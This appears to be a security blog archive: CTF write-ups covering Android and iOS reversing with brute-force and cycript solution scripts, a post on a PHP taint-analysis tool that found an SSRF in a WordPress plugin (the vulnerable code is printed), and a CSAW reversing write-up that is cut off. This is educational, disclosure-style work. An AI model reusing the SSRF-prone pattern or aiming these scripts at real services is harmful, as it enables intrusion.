\NAME     <name> Change nickname
\PRIVATE  <reference> <message> Send private message
\ACTIVE   Show active clients
\HELP     Show help

Looking at the bind method in IDA pro, we can trace the code to the method located at 0x00001B10, the method which handles all data received by the socket.

The method appears to be decrypting string constants with static xor keys and with some effort, we can figure out what the method is doing. For most part of the method, the procedure seems to be doing nothing malicious. However, for \PRIVATE, there appears to be a hidden procedure that resemblance a backdoor.

The \PRIVATE procedure calls a method located at 0x00001820 that takes in the reference and message as parameter.

In the method, it appears that if the reference equals to 1337, the backdoor is activated. The decrypted String constants in the method is gettin it done and Nice one!.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
result = strncmp(v5, (const char *)&dword_6CA0, result);
    if ( !result )
    {
      v12 = v7 + 2;
      v13 = 0;
      v14 = &dword_6020;
      v15 = v12;
      while ( 1 )
      {
        result = strlen(v5);
        if ( v13 >= result )
          break;
        sub_15A0(&v18);
        sub_15D8(&v18, &v4[v13] + v15, 1);
        sub_1668(&v19, &v18);
        if ( *v14 == v19
          && v14[1] == v20
          && v14[2] == v21
          && v14[3] == v22
          && v14[4] == v23
          && v14[5] == v24
          && v14[6] == v25
          && v14[7] == v26
          && v14[8] == v27
          && v14[9] == v28
          && v14[10] == v29
          && v14[11] == v30
          && v14[12] == v31
          && v14[13] == v32
          && v14[14] == v33
          && v14[15] == v34 )
        {
          if ( !byte_6CB0[0] )
          {
            byte_6CB0[1] = unk_68E1 ^ 0x26;
            byte_6CB0[2] = unk_68E2 ^ 0x26;
            byte_6CB0[3] = unk_68E3 ^ 0x26;
            byte_6CB0[4] = unk_68E4 ^ 0x26;
            byte_6CB0[5] = unk_68E5 ^ 0x26;
            byte_6CB0[6] = unk_68E6 ^ 0x26;
            byte_6CB0[0] = unk_68E0 ^ 0x26;
            byte_6CB0[7] = unk_68E7 ^ 0x26;
            byte_6CB0[8] = unk_68E8 ^ 0x26;
          }
          v16 = strlen(byte_6CB0);
          write(fd, byte_6CB0, v16);
        }
        ++v13;
        v14 += 16;
      }
      v3 = 1337;
    }

This portion of the method seems to be checking that the message provided starts with gettin it done and then appears to be checking each character after with against a hash value (by first hashing each character and checking against a hash stored in the binary). If the hash matches, it writes Nice one! to the socket response.

With that, I wrote a simple Python script that bruteforces each printable character until we obtain our 6th flag!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context(arch = 'i386', os = 'linux')

r = remote('192.168.1.20', 1337)
pre="\PRIVATE 1337 gettin it done "
print r.recvline()
import string
curr = "cApwN{d"
while len(curr) < 35:
    for i in string.printable:
        r.sendline(pre+curr+i)
        r.sendline("\PING")
        a= r.recvuntil("<<PONG")
        if a.count("Nice one!") > len(curr):
            curr += i
            print curr
```

After running the python script, we eventually obtain our flag after some time.

```
<<JOIN, HELLO 32

cApwN{d3
cApwN{d3u
cApwN{d3us
cApwN{d3us_
cApwN{d3us_d
cApwN{d3us_d3
cApwN{d3us_d3x
cApwN{d3us_d3x_
cApwN{d3us_d3x_m
cApwN{d3us_d3x_my
cApwN{d3us_d3x_my_
cApwN{d3us_d3x_my_4
cApwN{d3us_d3x_my_4p
cApwN{d3us_d3x_my_4pk
cApwN{d3us_d3x_my_4pk_
cApwN{d3us_d3x_my_4pk_i
cApwN{d3us_d3x_my_4pk_is
cApwN{d3us_d3x_my_4pk_is_
cApwN{d3us_d3x_my_4pk_is_a
cApwN{d3us_d3x_my_4pk_is_au
cApwN{d3us_d3x_my_4pk_is_aug
cApwN{d3us_d3x_my_4pk_is_augm
cApwN{d3us_d3x_my_4pk_is_augm3
cApwN{d3us_d3x_my_4pk_is_augm3n
cApwN{d3us_d3x_my_4pk_is_augm3nt
cApwN{d3us_d3x_my_4pk_is_augm3nte
cApwN{d3us_d3x_my_4pk_is_augm3nted
cApwN{d3us_d3x_my_4pk_is_augm3nted}

Our 6th and Last flag for Android: cApwN{d3us_d3x_my_4pk_is_augm3nted}

iOS Write ups

I solved most of the iOS challenge with snoop-it, mobile assistant, jailbroken 32-bit device and an un-jailbroken 64-bit device.

Level 1

WAKE ME UP, WAKE ME UP INSIDE. SAVE ME!!!!!
(Note: Levels 1-4 use the same application)
IntroLevels-727e07e27199b5431fccc16850d67c4fea6596f7.ipa

We can unzip the IPA file with an unarchiver tool to attempt to see if there are any asset or files which may be of interest. After which, we can use the cartool from https://github.com/steventroughtonsmith/cartool to decode the Assets.car file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
→ ~/CTF/tools/cartool/cartool Assets.car .
Matrix-Morpheus
    Matrix-Morpheus.png
first
    first.png
    [email protected]
he-man-jon-chu-camp
    he-man-jon-chu-camp.png
hqdefault
    hqdefault.png
lizard
    lizard.png
paper
    paper.png
rock
    rock.png
scissors
    scissors.png
second
    second.png
    [email protected]
spock
    spock.png

Viewing the resources, we found our first flag in Matrix-Morpheus.png.

Flag #1: cApwN{y0u_are_th3_ch0sen_1}

Level 2

And he prays…

For Challenge 2, we can trace the ViewController for Level 2 to a method located at 0xA930, this method seems to be checking the hash value of the text input with 5b6da8f65476a399050c501e27ab7d91 before appending 1234 and then using it as a key to decrypt some constant values.

Googling 5b6da8f65476a399050c501e27ab7d91 immediately gives us the MD5 Plaintext value of 424241, and entering the plaintext value into the level 2 view gives us our second flag!

Flag #2: cApwN{0mg_d0es_h3_pr4y}

Level 3

Rock, paper, scissors is so juvenile. Play rock, paper, scissors, lizard, Spock!

Again, in challenge 3, we can use the snoop-it application to attempt to figure out what the third view controller is doing.

When viewing the class, we notice that the view controller has a number of methods like setLizardImage, reportBeingALoser and so on. However, invoking the things method gave us our third flag.

Flag #3: cApwN{1m_1n_ur_n00twork_tere3fik}

Level 4

Use your flags from levels 1, 2, and 3 to do the thing!

Challenge 4 appears to be telling us to use the first three flags to do the thing. This reminds me of the Android Challenge 4 where the first three flags are used to obtain the fourth flag.

Looking at the functions defined in IDA Pro, it seems like we are suppose to invoke the ZhuLi.doTheThing method.

Using cycript, we can easily invoke the method with our three previous flags, giving us our fourth flag!

1
2
3
4
5
6
7
8
9
Quanyangs-iPhone:~ root# cycript -p IntroLevels
cy# ls
throw new ReferenceError("Can't find variable: ls")
cy# [ZhuLi doTheThing: @"cApwN{y0u_are_th3_ch0sen_1}"flag2: @"cApwN{0mg_d0es_h3_pr4y}"lag3: @"cApwN{1m_1n_ur_n00twork_tere3fik}"]
@"634170774e7b6630685f7377317a7a6c655f6d795f6e317a7a6c657d"
cy#

In [1]: "634170774e7b6630685f7377317a7a6c655f6d795f6e317a7a6c657d".decode('hex')
Out[1]: 'cApwN{f0h_sw1zzle_my_n1zzle}'

Flag #4: cApwN{f0h_sw1zzle_my_n1zzle}

Level 5

Looks like this thing is pretty locked down, I don’t think you can touch this.
Level5-69c2713162cb8f5e9418f8c08f3fa0a1ecb4928d.ipa

Throwing Level5Demo into IDA Pro, we can first see three custom methods which appears to be meddling with Keychain objects.

1
2
3
-[KeychainThing newSearchDictionary:]
-[KeychainThing searchKeychainCopyMatching:] 
-[KeychainThing createKeychainValue:forIdentifier:]

Also, there are a couple of interesting Strings being defined.

__cstring:00011680 00000014 C com.uber.ctf.level5
__cstring:00012280 00000012 C setmeinurkeychain
__cstring:00012292 0000000D C youdidathing     

Tracing youdidathing, we reach a method located at 0xa180, this method appears to be searching the Keychain for the key setmeinurkeychain and then checking if the data value matches youdidathing.

With that, we can again make use of cycript to create the required Keychain items to see if this gives us our flag.

The following cycript script sets the required items.

1
2
3
4
5
6
7
8
9
10
11
var key = @"setmeinurkeychain"
var encodedKey = [key dataUsingEncoding:NSUTF8StringEncoding];
var dict = [[NSMutableDictionary alloc] init];
[dict setObject:kSecClassGenericPassword forKey:kSecClass];
[dict setObject:encodedKey forKey:kSecAttrAccount];
[dict setObject:encodedKey forKey:kSecAttrGeneric];
var service = @"com.uber.ctf.level5"
[dict setObject:service forKey:kSecAttrService];
[dict setObject:[@"youdidathing" dataUsingEncoding:NSUTF8StringEncoding] forKey:kSecValueData];
[dict setObject:kSecAttrAccessibleAlwaysThisDeviceOnly forKey:kSecAttrAccessible]
SecItemAdd(dict,NULL);

We can also notice with snoop-it that there indeed was a keychain request for the key setmeinurkeychain.

After which, when we click the Hammer time! button, the app no longer crashes.

This gives us our fifth flag!

Flag #5: cApwN{i_guess_you_can_touch_this}

Level 6

Hey look at me im Tiny Rick! Yeah now that I got your attention, I got this app here that Squanchy squanched on my phone. Looks like there is something in there… But I don’t give a @#$! I’m Tiny Rick!
Level6-679e59bdfb40233fb1359d098d7269a3320eabd2.ipa
Update: This challenge did not function properly on iOS 32bit devices, here is the updated challenge Level6-update-f0887a253daaa02e584bc9ff4edfeca1300887dc.ipa
Note: The original version of the app is still solvable. The update is only for those who wish to run the app on a 32bit device.
Update: If you are attempting to solve the 32bit challenge and running into issues, contact @suspiciousfudge on the Slack channel

***I noticed that the 32-bit version was not solve-able and so I told @suspiciousfudge and he updated the binary after.

For the last iOS Challenge, running the app displays a text input that appears to be encoded with some sort of huffman tree.

We then throw the binary into IDA Pro. We see a couple of class being defined, MrPoopyButtHoleThing, MrPoopyButtholeWasInnocent and MrPoopyButtholeGappingOrifice, this three methods seems to be the binaryheaptree used to build the huffman tree.

We are then able to find a suspicious String constant That's Right Morty! This is gonna be a lot like that. Except you know. Its gonna make sense. and

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque suscipit, ligula vitae fringilla fringilla, lectus tortor eleifend ligula, vitae sodales mauris nibh a elit. Maecenas nec pellentesque massa. Curabitur volutpat lobortis risus id aliquet. Donec eget viverra enim. Etiam massa nibh, lobortis id pretium quis, consequat ut libero. Integer aliquet lacinia ex sed porttitor. Maecenas auctor eget nisl et mollis. Mauris et suscipit lorem, a facilisis magna. Etiam at facilisis lacus, mollis rhoncus lorem. Morbi vitae volutpat lectus. Donec ut vestibulum justo. Nullam ullamcorper ligula vel dignissim viverra. Quisque mi sapien, auctor quis quam ac, gravida ullamcorper purus. Morbi ut mi vitae massa dapibus rhoncus sed ut ipsum. Suspendisse accumsan dui at velit ultrices, ac hendrerit metus ullamcorper.Duis volutpat condimentum faucibus. Aliquam ex nisl, sodales in urna vel, vestibulum faucibus metus. Donec dapibus ante magna, luctus hendrerit felis commodo vitae. Vivamus quis sodales quam. Nullam dictum venenatis eros, vitae feugiat erat sollicitudin eu. Mauris aliquam, purus id porta porttitor, ligula felis egestas ex, non feugiat urna sem a nisi. Nunc eget tincidunt lorem, et dictum diam. Integer sodales tempus finibus. Donec pharetra ut risus sit amet bibendum. Morbi molestie lacinia varius. Duis diam dui, pulvinar non orci a, malesuada dictum metus. Morbi semper at ante in dignissim. Maecenas at molestie nibh. Mauris sollicitudin, ipsum eu imperdiet tristique, neque purus tristique sem, quis porta leo libero et orci. Fusce sed odio lobortis, pharetra justo et, tristique mauris. Vestibulum in interdum libero, et euismod lacus. Nulla volutpat pulvinar tortor at placerat. In non magna eget nibh egestas lacinia eleifend eu metus. Nullam ac mattis nisi. Curabitur porttitor enim sed elementum interdum. Duis sed molestie enim. Nullam varius ex efficitur efficitur mollis. Vestibulum in sollicitudin erat. Quisque in turpis eget leo eleifend ultricies at blandit arcu. Vivamus at pretium quam. Praesent laoreet ligula faucibus ante tincidunt, in euismod massa auctor.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_

The second string appears to be the string for which the huffman tree is built on. I proved my hypothesis by attempting to encode characters that doesn’t exist within the second string, and for those characters, the encoding fails. Also, we see that at the end of the string, there is the {}_, those are common characters found in CTF flags and was the initial reason for my suspicion.

With that being said, we are able to trace the Morty message to a method located at 0xA514. In the method,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sub_AE7A((const char *)&unk_154EC, 1, (int)&unk_154FC, 0, v18, 304);
while ( v16 < 0x130 )
{
if ( v18[v16] != byte_1550C[v16] )
{
  v19 = 0;
  break;
}
++v16;
}
free(v18);
if ( v19 & 1 )
{
v13 = _objc_msgSend(&OBJC_CLASS___NSMutableString, "stringWithString:");
v28 = objc_retainAutoreleasedReturnValue(v13);
}

It seems like our encoded input is fed to the method sub_AE7A, before being compared to the 0x130 sized byte array byte_1550C. However, attempts to reverse engineer sub_AE7A proves to be too complex, and so I chose to go the path of dynamic analysis.

Since the encoded input is thrown into sub_AE7A, the encoded input string should be 1 or 0, therefore, I need to provide a plaintext input that gets encoded to a string of 1 or 0 only with a length of 304 characters.

With that being said, I found that e is encoded to 1111, and so, 76 e’s would give us an encoded string of 304*1. And so, Making us of debugserver and lldb, I set a breakpoint at 0x0000A780 and dumped the result of the method call for sub_AE7A.

After some testing, I found out that the encoded string is xor’ed with some unknown values and then compared to byte_1550C, and so, with the dumped values from before, I wrote a quick Python script to xor each byte with 0x31 which is the hexadecimal representation of 1, and then comparing this with byte_1550C, I obtained the encoded string value which we are suppose to provide to solve this challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
test = "1001}011100}01011}00110}1111}0111110}001110}11100110}000}1110010110}01110110110}0100}11010}11101}11011}011110}0111111}0010}0110}1000}1100}010100}01110101011}111001000}01110101010}01110110100}0101011011}01110110000}010101000}01110111}010101001}0101011100}01110110111}01110100001}010101100}01110100010}01110101101}0111010010}11100111}01010101}11100100101}1110010011}1110010111}11100100100}0111010011}01110101111}01110101110}111001010}01110100000}01010110100}01010111101}01010111111}01010110101}01010111011}01110110011}01110110001}01110100011}01110110101}01010111100}01110110010}01110101100}01010111010}01110101001}01010111110"
value= { " " : "101", "," : "010100", "." : "111000", "0" : "01110101110", "1" : "01110110011", "2" : "01110101010", "3" : "01110111000", "4" : "01110101111", "5" : "01010110110", "6" : "01110110111", "7" : "01110110110", "8" : "01110111100", "9" : "01010110101", "A" : "0111010110", "B" : "01110111110", "C" : "1110011110", "D" : "01110100", "E" : "010101000", "F" : "0101011110", "G" : "01110111101", "H" : "01010110100", "I" : "010101110", "J" : "01110110001", "K" : "01110110000", "L" : "0101011000", "M" : "11100110", "N" : "01010101", "O" : "11100111001", "P" : "1110011101", "Q" : "1110011111", "R" : "01110101000", "S" : "0101011001", "T" : "01010110111", "U" : "01010111111", "V" : "111001001", "W" : "01110110101", "X" : "01110101011", "Y" : "01110111011", "Z" : "01110111010", "_""" : "01110110010", "a" : "1000", "b" : "011100", "c" : "01011", "d" : "00110", "e" : "1111", "f" : "0111110", "g" : "001110", "h" : "11100101", "i" : "000", "j" : "010101001", "k" : "01010111110", "l" : "0100", "m" : "11010", "n" : "11101", "o" : "11011", "p" : "011110", "q" : "0111111", "r" : "0010", "s" : "0110", "t" : "1001", "u" : "1100", "v" : "001111", "w" : "01110111111", "x" : "111001000", "y" : "01110101001", "z" : "01110111001", "{" : "01110110100", "}" : "01110101000" }
b = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{_"

for x,i in enumerate(test.split("}")):
    #print i,x
    value[b[x]]=i


#c5eg s I r Gr esatcn guc a toi oi osskl997ktakmeeeeeeeeeeeR
remappedValue = dict()
for i in value:
    remappedValue[value[i]] = i
    #print hex(int(value[i],2))

flag = """77 5E 85 25 7A C9 2F B3 31 13 5B B0 E7 89 4E 0B 36 35 D9 1A BB CE EF D6 0E 68 2C 3F C3 9E 94 89 ED 76 0C 39 23 1E 2D 62 44 8C 01 A9 2D AF E9 F0 4B C3 CC BC EB 26 21 61 E5 B6 21 99 6A E4 A8 0A AA 1A FB F6 10 B1 E7 50 47 05 71 9B CB D5 D8 23 6F B4 39 A1 F9 28 B9 F5 14 3B 0C 06 ED 65 D7 D4 D6 25 29 54 6E D9 1B C8 40 68 97 1B 57 D1 43 5B 7B 1E E9 39 13 F0 75 ED C1 7B 1E 71 86 0A 75 5E 68 50 80 0F F4 BA 04 86 9A 69 5A B3 84 BD 8E BF 5D BB CD F6 0F 86 51 7B F9 4E 51 F8 98 C1 03 2E 30 58 CE F8 F0 B9 E9 23 97 8D 83 56 56 86 98 46 EE D7 C6 B2 B6 E4 A3 FB 6C 57 91 85 51 3D F6 07 8C 62 65 98 41 EB 9A F6 14 28 AC 9B DD E2 F7 F3 0C 86 01 60 09 89 11 AC C6 A2 0C BE 2B D2 99 47 EB 11 43 A7 F5 B3 9E 02 7B 89 4C 5C 57 D9 8E 13 27 E3 80 D5 2A 4A 56 78 82 64 4C D6 36 96 81 B1 F1 0E 47 63 23 1C 90 72 7F 3C 81 DA C6 E1 7E 01 CD 90 77 45 39 26 76 CC 79 2A 83 37 90 20 8E F0 61 BA 66 F4 82 4A 3E B1 EB 35 2B 87 15 EE 40 F7"""
key =  """76 5e 84 25 7a c8 2f b2 31 12 5b b0 e6 89 4e 0a 36 35 d9 1a ba cf ef d6 0e 69 2c 3e c3 9f 94 89 ec 76 0d 39 22 1e 2c 62 45 8c 01 a9 2c af e8 f0 4a c2 cc bd eb 27 21 60 e5 b6 21 98 6a e4 a8 0a ab 1a fa f7 10 b0 e7 51 47 05 71 9b cb d4 d8 23 6e b4 38 a0 f8 28 b8 f4 14 3a 0c 07 ed 65 d7 d4 d6 24 29 54 6f d9 1a c9 40 68 97 1a 57 d1 42 5a 7a 1e e8 39 13 f0 74 ed c1 7a 1f 70 86 0b 75 5e 69 51 80 0f f4 bb 04 86 9b 68 5b b3 85 bd 8e bf 5c bb cd f7 0e 87 51 7a f9 4e 51 f9 98 c1 02 2e 30 59 cf f8 f0 b8 e8 23 96 8d 82 56 56 86 98 46 ef d6 c6 b3 b7 e5 a3 fa 6c 56 91 85 50 3d f7 07 8d 62 64 98 40 eb 9a f7 14 29 ac 9a dd e2 f7 f2 0c 86 00 60 09 88 10 ac c7 a2 0d be 2b d2 99 47 ea 11 42 a6 f5 b3 9f 03 7a 88 4c 5d 57 d8 8e 13 27 e3 80 d4 2a 4a 57 78 83 64 4c d6 36 96 81 b1 f1 0e 47 63 23 1c 90 72 7f 3c 81 da c6 e1 7e 01 cd 90 77 45 39 26 76 cc 79 2a 83 37 90 20 8e f0 61 ba 66 f4 82 4b 3e b1 eb 34 2b 86 15 ef 41 f6"""

flag = flag.split(" ")
key = key.split(" ")
for x,i in enumerate(key):
    key[x]= ("0"+hex(int(key[x],16)^0x31)[2:])[-2:]

from pwn import *

flag_real = ""
for x,i in enumerate(key):
    #print x,i, flag[x], xor(int(i,16),int(flag[x],16))
    flag_real += xor(int(i,16),int(flag[x],16))

curr = ""
flag3=""
for i in flag_real:
    if curr+i in remappedValue:
        #skip
        curr=curr+i
        continue
    elif curr in remappedValue:
        flag3+=remappedValue[curr]
        curr = i
    else:
        curr=curr+i
print flag3+remappedValue[curr]

Running this Python script gave us our last flag!

Flag #6: cApwN{1m_mr_m33s33ks_l00k_at_meeeeeeeeeee}

Extra information

Notice that in my Python Script, the huffman tree is obtained in a pretty hackish way, this way due to the errors in the 32-bit binaries at the start. I then noticed that with the huffman tree of the 64-bit binary, I’d then be able to get cApwN at the start of the encoded flag and so, I devised a way to obtain the 64-bit binary huffman tree.

The reason why I was not able to use snoop-it was because I do not have a jailbroken 64-bit device.

To obtain the huffman tree for 64-bit, I crafted a plaintext string that contains every possible character needed in a normal flag.

The list of possible characters are: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_

In order to delimit the encoding, I used } as a delimiter inbetween each character. As } is located at the bottom of the huffman tree (based on playing around and experimenting), we are able to confidently delimit the encoded huffman code to obtain the accurate 64-bit huffman tree values for each character.

Special thanks to the hackerone team for the awesome challenges!

H1-702 CTF 2017 - Write Ups was originally published by Yeo Quan Yang at Quan Yang on July 18, 2017.

Part 1 - Continuous Pwning of the Top 1000 WordPress Plugins

2016-12-08T10:56:24+00:00

This article is the first part of many on a Taint Analysis Tool I wrote for the PHP Programming Language. This part talks about how I make use of the tool to automatically look for vulnerabilities in the top 1000 WordPress Plugin!

Introduction

Most of us are familar with the term Continuous integration (CI) where changes to a code repository could be automatically merged or even deployed. However, security is rarely taken into consideration when setting up CI environments. Even with automated testing in place, vulnerabilities could go undiscovered if testing was not done rigorously.

Taint analysis is a form of information-flow analysis where one can trace tainted inputs from the point of introduction to the point it was used. When a tainted input is used by a sensitive function, it could possibly be a security vulnerability.

The following is one such example; when a tainted input is echo’ed in PHP without going through any sanitization, it introduces a cross-site scripting (XSS) vulnerability.

1
2
3
4
<?php
    $tainted_input = $_GET['search'];
    echo "You searched for '$tainted_input'";
?>

As part of my dissertation project, I designed and implemented a Static Taint Analysis tool for the PHP language. In order to improve the precision of the analysis, I augmented the initial Static Taint Analysis with Symbolic Execution and therefore is able to determine if a certain execution path is reachable. You can try out a demo of the tool here.

Now imagine if we integrate this tool into a CI workflow where applications are automatically scanned for taint-based vulnerabilities and vulnerabilities are flagged when found, less vulnerabilities would be introduced into production and less work would be needed for engineers to fix them later.

The rest of this article talks about an experiment I did with the top 1000 WordPress plugins and an example of a vulnerability I found and reported. Though the experiment is not fully automatic, it shows a potential for a fully-automatic process where new plugins could be automatically downloaded and tested.

WordPress plugins makes for a very good testing target as the source-code of plugins are readily available for download and the WordPress sanitizers/sinks are known beforehand.

Automatically Download the top 1000 WordPress plugins

A quick search brings up many ways to automatically download WordPress plugins. One such example is https://github.com/gehaxelt/Python-Wordpress-Plugin-Downloader, this script could be used to download the most popular WordPress plugins (Top 1000).

You could also write a simple script to automatically download WordPress plugins of any version from http://plugins.svn.wordpress.org/.

1
2
3
→ ls -la
...
drwxr-xr-x   999 quanyang  staff  33966 Nov  9 19:34 downloaded

It takes awhile, but the top 1000 plugins would eventually be downloaded.

Continuous Pwning

In the Taint Analysis implementation, it takes in a Taint Policy consisting of Sources, Sinks and Sanitizers. In this case, we can add the known WordPress sanitizers like esc_attr and esc_html as well as sinks like query.

With that, we can then begin to run the tool against all the PHP files in the plugins downloaded. As the tool is written in Python, we can easily write a Python script to enumerate all PHP files and to run the tool against one-by-one.

In order to speed things up, I also make use of multiprocessing in Python to test 4 different plugins at any instant.

Based on initial testing without true verification of exploitability, it detected a total of 712 possible vulnerability within the top 1000 plugins! However, some of them could be false positives and needs further testing to verify.

1
2
3
4
root@ubuntu-512mb-sgp1-01:/wp_research# python consolidate.py
>
{u'Reflection Injection': 3, u'Code Execution': 11, u'Protocol Injection': 4, u'HTTP Response Splitting': 39, u'Command Execution': 1, u'Session Fixation': 2, u'PHP Object Injection': 30, u'Possible Flow Control': 23, u'SQL Injection': 19, u'File Inclusion': 24, u'File Manipulation': 65, u'File Disclosure': 62, u'Cross-Site Scripting': 429}
Total: 712

Case Study: SSRF in Nelio AB Testing WordPress Plugin

Nelio AB Testing is a WordPress plugin used for A/B Testing in WordPress pages. We can download the source-code of the Plugin from plugins.svn.wordpress.org/nelio-ab-testing/tags/4.5.8/.

Server-side Request Forgery (SSRF) is a vulnerability where requests can be made from the vulnerable server to the intra/internet. Though it does not seem to have serious impact, using a protocol supported by certain URI schemes, an attacker could collect various information about the server or even achieve remote code execution (RCE). There is a very comprehensive cheat-sheet for SSRF available here.

Zooming in to the vulnerable PHP script at ./ajax/iesupport.php. It is obvious from manual analysis that we are able to control the URL that would eventually be cURL’ed by the server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
** Truncated **
$url = false;
$data = false;

if ( isset( $_POST['originalRequestUrl'] ) ) {
    $url = $_POST['originalRequestUrl'];
    $url = preg_replace( '/^\/\//', '', $url );
}
else {
    // Silence is gold
    return;
}

if ( isset( $_POST['data'] ) ) {
    $data = $_POST['data'];
}
else {
    // Silence is gold
    return;
}

$was_data_sent = false;

if ( !$was_data_sent && function_exists( 'curl_version' ) ) {
    //open connection
    $ch = curl_init();

    if ( $ch ) {
        //set the url, number of POST vars, POST data
        curl_setopt( $ch, CURLOPT_URL, $url );
        curl_setopt( $ch, CURLOPT_POST, substr_count( $data, '=' ) );
        curl_setopt( $ch, CURLOPT_POSTFIELDS, $data );
        if ( isset( $_SERVER['HTTP_REFERER'] ) )
            curl_setopt( $ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER'] );
        if ( isset( $_SERVER['HTTP_USER_AGENT'] ) )
            curl_setopt( $ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT'] );

        //execute post
        $result = curl_exec( $ch );

        //close connection
        curl_close( $ch );

        $was_data_sent = true;
    }
}

** Truncated **
?>

In fact, the vulnerabilty was found by the tool automatically. We can see an intuitive result from testing the vulnerable script on http://taint.spro.ink. We see that the tool is able to detect the tainted user-input being used in the curl_setopt function.

From https://pluginu.com/nelio-ab-testing/, we can easily see that there are at least 173 websites using this plugin currently! Being lucky, I was able to find a bug bounty program that has a WordPress site using this particular plugin and was able to obtain a bounty with this finding. :)

I’ve since reported this to the plugin author and was told it has been fixed!

Conclusion

What this experiment proved was that it was highly possible for a development cycle/process where applications are continuously tested for vulnerability. However, more work needs to be done to ensure true positives in result and/or to even automatically patch simple vulnerabilities!

This is the first part of many and in the subsequent parts I will write more about the tool in detail!

Thanks for reading!

Part 1 - Continuous Pwning of the Top 1000 WordPress Plugins was originally published by Yeo Quan Yang at Quan Yang on December 08, 2016.

CSAW CTF Quals 2016 - deedeedee

2016-09-19T13:38:29+00:00

CSAW CTF Quals 2016 - deedeedee

Points: 150
Category: Reversing
Description
(I lost the description to this challenge)
deedeedee

This is a reversing challenge. Given a binary, our objective was to find the flag. I vaguely remember that the description of this challenge was something along the lines of being able to execute instructions at compile time.

We’re given a 64-bit ELF.

1
2
3
$ file deedeedee
deedeedee: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared 
libs), for GNU/Linux 2.6.24, BuildID[sha1]=4fac9c863749015d039a3bf0a3a6c936f2f7eadd, not stripped

Running the binary in my CTF environment tells us that we have the encrypted flag, and that the flag was generated at compile time.

1
2
3
4
$ ./deedeedee
Your hexencoded, encrypted flag is: 676c60677a74326d716c6074325f6c6575347172316773616c6d686e665f68735e6773385e345e3377657379316e327d
I generated it at compile time. :)
Can you decrypt it for me?

The hexencoded flag decodes to gl`gzt2mql`t2_leu4qr1gsalmhnf_hs^gs8^4^3wesy1n2}. Keep this in mind, we will need it later. You could use python to decode the hex encoded string or simply use any hex->text converter online.

Analysis

Running objdump -x on the binary shows that there are many functions defined, and instincts tells me that at least one of these would contain the routine required to decrypt our flag.

Doing a simple grep for encrypt finds the function we are searching for:

1
2
$ objdump -x deedeedee | grep encrypt
000000000044cde0 g     F .text  000000000000158b              _D9deedeedee7encryptFNaNfAyaZAya

Note that the names are all mangled, but we can still roughly make out the meaning of the functions.

The disassembly for the function shows some kind of chained function calls where the result of one call is used as argument for the other call.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
gdb-peda$ disas _D9deedeedee7encryptFNaNfAyaZAya
Dump of assembler code for function _D9deedeedee7encryptFNaNfAyaZAya:
   0x000000000044cde0 <+0>:     push   rbp
   0x000000000044cde1 <+1>:     mov    rbp,rsp
   0x000000000044cde4 <+4>:     sub    rsp,0x10
   0x000000000044cde8 <+8>:     mov    QWORD PTR [rbp-0x10],rdi
   0x000000000044cdec <+12>:    mov    QWORD PTR [rbp-0x8],rsi
   0x000000000044cdf0 <+16>:    mov    rdx,QWORD PTR [rbp-0x8]
   0x000000000044cdf4 <+20>:    mov    rax,QWORD PTR [rbp-0x10]
   0x000000000044cdf8 <+24>:    mov    rdi,rax
   0x000000000044cdfb <+27>:    mov    rsi,rdx
   0x000000000044cdfe <+30>:    call   0x451470 <_D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya>
   0x000000000044ce03 <+35>:    mov    rdi,rax
   0x000000000044ce06 <+38>:    mov    rsi,rdx
   0x000000000044ce09 <+41>:    call   0x458280 <_D9deedeedee21__T3encVAyaa3_323232Z3encFNaNfAyaZAya>
   0x000000000044ce0e <+46>:    mov    rdi,rax
   0x000000000044ce11 <+49>:    mov    rsi,rdx
   0x000000000044ce14 <+52>:    call   0x458358 <_D9deedeedee21__T3encVAyaa3_333333Z3encFNaNfAyaZAya>
   [** Truncated **]
   0x000000000044e348 <+5480>:  mov    rdi,rax
   0x000000000044e34b <+5483>:  mov    rsi,rdx
   0x000000000044e34e <+5486>:  call   0x472428 <_D9deedeedee33__T3encVAyaa9_343937343937343937Z3encFNaNfAyaZAya>
   0x000000000044e353 <+5491>:  mov    rdi,rax
   0x000000000044e356 <+5494>:  mov    rsi,rdx
   0x000000000044e359 <+5497>:  call   0x472500 <_D9deedeedee33__T3encVAyaa9_343938343938343938Z3encFNaNfAyaZAya>
   0x000000000044e35e <+5502>:  mov    rdi,rax
   0x000000000044e361 <+5505>:  mov    rsi,rdx
   0x000000000044e364 <+5508>:  call   0x4725d8 <_D9deedeedee33__T3encVAyaa9_343939343939343939Z3encFNaNfAyaZAya>
   0x000000000044e369 <+5513>:  leave
   0x000000000044e36a <+5514>:  ret
End of assembler dump.

What we can notice from the disassembly is:

Each function takes in two argument, registers $rdi and $rsi.
The function names are slightly different, first one has 313131 and second one has 323232 in it.

The next logical thing to do is to disassemble one of the function calls:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gdb-peda$ disas _D9deedeedee21__T3encVAyaa3_313131Z3encFNaNfAyaZAya
